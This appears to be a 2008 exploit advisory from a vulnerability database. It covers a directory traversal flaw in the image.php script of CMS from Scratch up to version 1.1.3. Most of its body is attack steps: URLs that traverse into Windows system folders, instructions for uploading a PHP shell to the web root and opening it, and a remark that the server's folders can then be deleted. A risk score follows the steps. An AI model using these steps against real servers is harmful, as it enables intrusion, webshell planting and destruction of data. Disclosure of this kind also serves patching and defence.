CMS from Scratch <= 1.1.3 (image.php) Directory Traversal Vulnerability

🗓️ 31 May 2008 00:00:00Reported by RootType

CMS from Scratch <= 1.1.3 has a local directory traversal vulnerability allowing PHP file uploads.


                                                ------------------------------------------------------------------------
&nbsp;&nbsp;&nbsp;CMS&nbsp;from&nbsp;Scratch&nbsp;&lt;=&nbsp;1.1.3&nbsp;(image.php)&nbsp;Local&nbsp;Directory&nbsp;Traversal&nbsp;Vulnerability
------------------------------------------------------------------------
&nbsp;
&nbsp;&nbsp;&nbsp;author...:&nbsp;Stack
&nbsp;mail.....:&nbsp;Wanted
&nbsp;wanted&nbsp;by&nbsp;Egix
Gr33ts&nbsp;t0&nbsp;:&nbsp;EgiX,&nbsp;ThE&nbsp;GeNeRal&nbsp;L0s3r&nbsp;,&nbsp;Houssamix&nbsp;,Str0ke&nbsp;&lt;==&gt;&nbsp;special&nbsp;THanks&nbsp;to&nbsp;EgiX&nbsp;For&nbsp;founded&nbsp;it&nbsp;:d:)

Exploit&nbsp;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;http://localhost/path/cms/images.php?dir=c:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Example&nbsp;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;http://localhost/path/cms/images.php?dir=c:WINDOWS/system32/
&nbsp;
Exploit&nbsp;2&nbsp;:

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;and&nbsp;you&nbsp;can&nbsp;upload&nbsp;php&nbsp;file&nbsp;==&gt;&nbsp;&nbsp;php&nbsp;shell
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;example&nbsp;upload&nbsp;the&nbsp;php&nbsp;shell&nbsp;in&nbsp;my&nbsp;localhost
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;c:AppServ/www/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;you&nbsp;go&nbsp;to&nbsp;link
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;http://localhost/path/cms/images.php?dir=c:AppServ/www/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;after&nbsp;click&nbsp;to&nbsp;colon&nbsp;[parcourir]&nbsp;after&nbsp;select&nbsp;your&nbsp;shell&nbsp;and&nbsp;click&nbsp;upload
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;and&nbsp;go&nbsp;to&nbsp;link
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;http://localhost/shell.php
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;desc&nbsp;:you&nbsp;can&nbsp;delete&nbsp;all&nbsp;folder&nbsp;of&nbsp;server
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;just&nbsp;clike&nbsp;to&nbsp;mark&nbsp;delete&nbsp;in&nbsp;folder&nbsp;selected&nbsp;to&nbsp;delete

&nbsp;thx&nbsp;:&nbsp;allah&nbsp;

31 May 2008 00:00Current

7.1High risk

Vulners AI Score7.1

CMS from Scratch &lt;= 1.1.3 (image.php) Directory Traversal Vulnerability

CMS from Scratch <= 1.1.3 (image.php) Directory Traversal Vulnerability